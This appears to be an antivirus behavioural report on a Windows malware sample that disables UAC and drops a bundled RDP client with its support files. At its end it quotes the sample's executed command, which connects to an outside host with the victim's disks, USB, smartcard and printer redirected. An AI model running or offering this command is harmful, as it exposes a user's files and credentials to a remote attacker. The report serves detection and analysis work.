Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Control Panel\Desktop] 'SCRNSAVE.EXE' = '00000000'
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Modifies file system
Creates the following files
- %TEMP%\aut4b91.tmp
- %HOMEPATH%\rdp6\encoding\gbkp-euc-h
- %HOMEPATH%\rdp6\encoding\gbkp-euc-v
- %HOMEPATH%\rdp6\encoding\gbpc-euc-h
- %HOMEPATH%\rdp6\encoding\gbpc-euc-ucs2
- %HOMEPATH%\rdp6\encoding\gbpc-euc-ucs2c
- %HOMEPATH%\rdp6\encoding\gbpc-euc-v
- %HOMEPATH%\rdp6\encoding\gbt-euc-h
- %HOMEPATH%\rdp6\encoding\gbt-euc-v
- %HOMEPATH%\rdp6\encoding\hkdla-b5-h
- %HOMEPATH%\rdp6\encoding\hkm471-b5-v
- %HOMEPATH%\rdp6\encoding\hkdla-b5-v
- %HOMEPATH%\rdp6\encoding\hkdlb-b5-h
- %HOMEPATH%\rdp6\encoding\hkdlb-b5-v
- %HOMEPATH%\rdp6\encoding\hkgccs-b5-h
- %HOMEPATH%\rdp6\encoding\hkgccs-b5-v
- %HOMEPATH%\rdp6\encoding\hkm314-b5-h
- %HOMEPATH%\rdp6\encoding\hkm314-b5-v
- %HOMEPATH%\rdp6\encoding\hkm471-b5-h
- %HOMEPATH%\rdp6\encoding\gbk2k-v
- %HOMEPATH%\rdp6\encoding\h
- %HOMEPATH%\rdp6\encoding\gbk2k-h
- %HOMEPATH%\rdp6\encoding\etenms-b5-v
- %HOMEPATH%\rdp6\encoding\b5pc-ucs2c
- %HOMEPATH%\rdp6\encoding\b5pc-v
- %HOMEPATH%\rdp6\encoding\cns-euc-h
- %HOMEPATH%\rdp6\encoding\cns-euc-v
- %HOMEPATH%\rdp6\encoding\eten-b5-h
- %HOMEPATH%\rdp6\encoding\eten-b5-ucs2
- %HOMEPATH%\rdp6\encoding\eten-b5-v
- %HOMEPATH%\rdp6\encoding\etenms-b5-h
- %HOMEPATH%\rdp6\encoding\ethk-b5-h
- %HOMEPATH%\rdp6\encoding\gbk-euc-ucs2
- %HOMEPATH%\rdp6\encoding\ethk-b5-v
- %HOMEPATH%\rdp6\encoding\euc-h
- %HOMEPATH%\rdp6\encoding\euc-v
- %HOMEPATH%\rdp6\encoding\ext-rksj-h
- %HOMEPATH%\rdp6\encoding\ext-rksj-v
- %HOMEPATH%\rdp6\encoding\gb-euc-h
- %HOMEPATH%\rdp6\encoding\gb-euc-v
- %HOMEPATH%\rdp6\encoding\gbk-euc-h
- %HOMEPATH%\rdp6\encoding\gbk-euc-v
- %HOMEPATH%\rdp6\encoding\kscpc-euc-ucs2
- %HOMEPATH%\rdp6\encoding\wincharsetffff-v
- %HOMEPATH%\rdp6\encoding\identity-h
- %HOMEPATH%\rdp6\encoding\unicns-utf16-v
- %HOMEPATH%\rdp6\encoding\unigb-ucs2-h
- %HOMEPATH%\rdp6\encoding\unigb-ucs2-v
- %HOMEPATH%\rdp6\encoding\unigb-utf16-h
- %HOMEPATH%\rdp6\encoding\unigb-utf16-v
- %HOMEPATH%\rdp6\encoding\unijis-ucs2-h
- %HOMEPATH%\rdp6\encoding\unijis-ucs2-hw-h
- %HOMEPATH%\rdp6\encoding\unijis-ucs2-hw-v
- %HOMEPATH%\rdp6\encoding\unijis-utf16-h
- %HOMEPATH%\rdp6\encoding\hkscs-b5-v
- %HOMEPATH%\rdp6\encoding\unijis-utf16-v
- %HOMEPATH%\rdp6\encoding\uniks-ucs2-h
- %HOMEPATH%\rdp6\encoding\uniks-ucs2-v
- %HOMEPATH%\rdp6\encoding\uniks-utf16-h
- %HOMEPATH%\rdp6\encoding\uniks-utf16-v
- %HOMEPATH%\rdp6\encoding\v
- %HOMEPATH%\rdp6\encoding\wincharsetffff-h
- %HOMEPATH%\rdp6\encoding\wincharsetffff-h2
- %HOMEPATH%\rdp6\encoding\unicns-utf16-h
- %HOMEPATH%\rdp6\encoding\b5pc-ucs2
- %HOMEPATH%\rdp6\encoding\unicns-ucs2-v
- %HOMEPATH%\rdp6\encoding\kscpc-euc-h
- %HOMEPATH%\rdp6\encoding\identity-v
- %HOMEPATH%\rdp6\encoding\ksc-euc-h
- %HOMEPATH%\rdp6\encoding\ksc-euc-v
- %HOMEPATH%\rdp6\encoding\kscms-uhc-h
- %HOMEPATH%\rdp6\encoding\kscms-uhc-hw-h
- %HOMEPATH%\rdp6\encoding\kscms-uhc-hw-v
- %HOMEPATH%\rdp6\encoding\kscms-uhc-ucs2
- %HOMEPATH%\rdp6\encoding\kscms-uhc-v
- %HOMEPATH%\rdp6\encoding\hkscs-b5-h
- %HOMEPATH%\rdp6\encoding\ucs2-kscpc-euc
- %HOMEPATH%\rdp6\encoding\kscpc-euc-ucs2c
- %HOMEPATH%\rdp6\encoding\ucs2-90ms-rksj
- %HOMEPATH%\rdp6\encoding\ucs2-90pv-rksj
- %HOMEPATH%\rdp6\encoding\ucs2-b5pc
- %HOMEPATH%\rdp6\encoding\ucs2-eten-b5
- %HOMEPATH%\rdp6\encoding\ucs2-gbk-euc
- %HOMEPATH%\rdp6\encoding\ucs2-gbpc-euc
- %HOMEPATH%\rdp6\encoding\ucs2-kscms-uhc
- %HOMEPATH%\rdp6\encoding\unicns-ucs2-h
- %HOMEPATH%\rdp6\encoding\unijis-ucs2-v
- %HOMEPATH%\rdp6\encoding\b5pc-h
- %HOMEPATH%\rdp6\encoding\adobe-japan1-h-cid
- %HOMEPATH%\rdp6\bkgscpink.bmp
- %HOMEPATH%\rdp6\resource\d050000l.pfb
- %HOMEPATH%\rdp6\resource\n019003l.pfb
- %HOMEPATH%\rdp6\resource\n019004l.pfb
- %HOMEPATH%\rdp6\resource\n019023l.pfb
- %HOMEPATH%\rdp6\resource\n019024l.pfb
- %HOMEPATH%\rdp6\resource\n021003l.pfb
- %HOMEPATH%\rdp6\resource\n021004l.pfb
- %HOMEPATH%\rdp6\resource\n021024l.pfb
- %HOMEPATH%\rdp6\readme.pdf
- %HOMEPATH%\rdp6\resource\n022003l.pfb
- %HOMEPATH%\rdp6\resource\n022004l.pfb
- %HOMEPATH%\rdp6\resource\n022023l.pfb
- %HOMEPATH%\rdp6\resource\n022024l.pfb
- %HOMEPATH%\rdp6\resource\s050000l.pfb
- %HOMEPATH%\rdp6\cimage.dll
- %HOMEPATH%\rdp6\gdiplus.dll
- %HOMEPATH%\rdp6\pdfprint.exe
- %TEMP%\aut59f4.tmp
- %HOMEPATH%\rdp6\resource\n021023l.pfb
- %HOMEPATH%\rdp6\bkgscgreen.bmp
- %HOMEPATH%\rdp6\mstscax.dll
- %HOMEPATH%\rdp6\<File name>.txt
- %TEMP%\aut4bf0.tmp
- %HOMEPATH%\rdp6\tscredentials.exe
- %TEMP%\aut4c6e.tmp
- %HOMEPATH%\rdp6\pdfprint_cmd.exe
- %TEMP%\aut525b.tmp
- %HOMEPATH%\rdp6\connectionclient.exe
- %TEMP%\aut549e.tmp
- %TEMP%\aut557a.tmp
- %HOMEPATH%\rdp6\bkgscblue.bmp
- %HOMEPATH%\rdp6\mstsc.exe
- %TEMP%\aut5627.tmp
- %HOMEPATH%\rdp6\languk.ini
- %TEMP%\aut56d3.tmp
- %HOMEPATH%\rdp6\ico2.ico
- %TEMP%\aut57bf.tmp
- %HOMEPATH%\rdp6\bkgsc.bmp
- %TEMP%\aut589b.tmp
- %TEMP%\aut5967.tmp
- %HOMEPATH%\rdp6\encoding\90msp-rksj-h
- %HOMEPATH%\rdp6\encoding\adobe-korea1-kscpc-euc
- %HOMEPATH%\rdp6\encoding\78-h
- %HOMEPATH%\rdp6\encoding\adobe-gb1-gbk-euc
- %HOMEPATH%\rdp6\encoding\adobe-gb1-gbpc-euc
- %HOMEPATH%\rdp6\encoding\adobe-gb1-h-cid
- %HOMEPATH%\rdp6\encoding\adobe-gb1-h-host
- %HOMEPATH%\rdp6\encoding\adobe-gb1-h-mac
- %HOMEPATH%\rdp6\encoding\adobe-gb1-ucs2
- %HOMEPATH%\rdp6\encoding\adobe-japan1-90ms-rksj
- %HOMEPATH%\rdp6\encoding\adobe-japan1-90pv-rksj
- %HOMEPATH%\rdp6\encoding\adobe-japan1-h-host
- %HOMEPATH%\rdp6\encoding\78-euc-v
- %HOMEPATH%\rdp6\encoding\adobe-japan1-h-mac
- %HOMEPATH%\rdp6\encoding\adobe-japan1-ps-h
- %HOMEPATH%\rdp6\encoding\adobe-japan1-ps-v
- %HOMEPATH%\rdp6\encoding\adobe-japan1-ucs2
- %HOMEPATH%\rdp6\encoding\adobe-korea1-h-cid
- %HOMEPATH%\rdp6\encoding\adobe-korea1-h-host
- %HOMEPATH%\rdp6\encoding\adobe-korea1-h-mac
- %HOMEPATH%\rdp6\encoding\adobe-korea1-kscms-uhc
- %HOMEPATH%\rdp6\encoding\adobe-cns1-ucs2
- %HOMEPATH%\rdp6\encoding\adobe-korea1-ucs2
- %HOMEPATH%\rdp6\encoding\adobe-cns1-h-mac
- %HOMEPATH%\rdp6\encoding\90ms-rksj-v
- %HOMEPATH%\rdp6\encoding\78-rksj-h
- %HOMEPATH%\rdp6\encoding\78-rksj-v
- %HOMEPATH%\rdp6\encoding\78-v
- %HOMEPATH%\rdp6\encoding\78ms-rksj-h
- %HOMEPATH%\rdp6\encoding\78ms-rksj-v
- %HOMEPATH%\rdp6\encoding\83pv-rksj-h
- %HOMEPATH%\rdp6\encoding\90ms-rksj-h
- %HOMEPATH%\rdp6\encoding\90ms-rksj-ucs2
- %HOMEPATH%\rdp6\encoding\78-euc-h
- %HOMEPATH%\rdp6\encoding\adobe-cns1-h-cid
- %HOMEPATH%\rdp6\encoding\90msp-rksj-v
- %HOMEPATH%\rdp6\encoding\90pv-rksj-h
- %HOMEPATH%\rdp6\encoding\90pv-rksj-ucs2
- %HOMEPATH%\rdp6\encoding\90pv-rksj-ucs2c
- %HOMEPATH%\rdp6\encoding\add-rksj-h
- %HOMEPATH%\rdp6\encoding\add-rksj-v
- %HOMEPATH%\rdp6\encoding\adobe-cns1-b5pc
- %HOMEPATH%\rdp6\encoding\adobe-cns1-eten-b5
- %HOMEPATH%\rdp6\encoding\adobe-cns1-h-host
- %HOMEPATH%\rdp6\encoding\wincharsetffff-v2
Deletes the following files
- %TEMP%\aut4b91.tmp
- %TEMP%\aut4bf0.tmp
- %TEMP%\aut4c6e.tmp
- %TEMP%\aut525b.tmp
- %TEMP%\aut549e.tmp
- %TEMP%\aut557a.tmp
- %TEMP%\aut5627.tmp
- %TEMP%\aut56d3.tmp
- %TEMP%\aut57bf.tmp
- %TEMP%\aut589b.tmp
- %TEMP%\aut5967.tmp
- %TEMP%\aut59f4.tmp
- %HOMEPATH%\rdp6\bkgsc.bmp
Substitutes the following files
- %HOMEPATH%\rdp6\bkgsc.bmp
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '%HOMEPATH%\rdp6\connectionclient.exe' -server brilon.businesscenter.sh -port 1723 -color 32 -alttab 0 -remoteapp off -seamless off -width 1024 -height 768 -printer on -com on -smartcard on -default on -disk on -usb on -directx on -...
- '%HOMEPATH%\rdp6\pdfprint_cmd.exe'
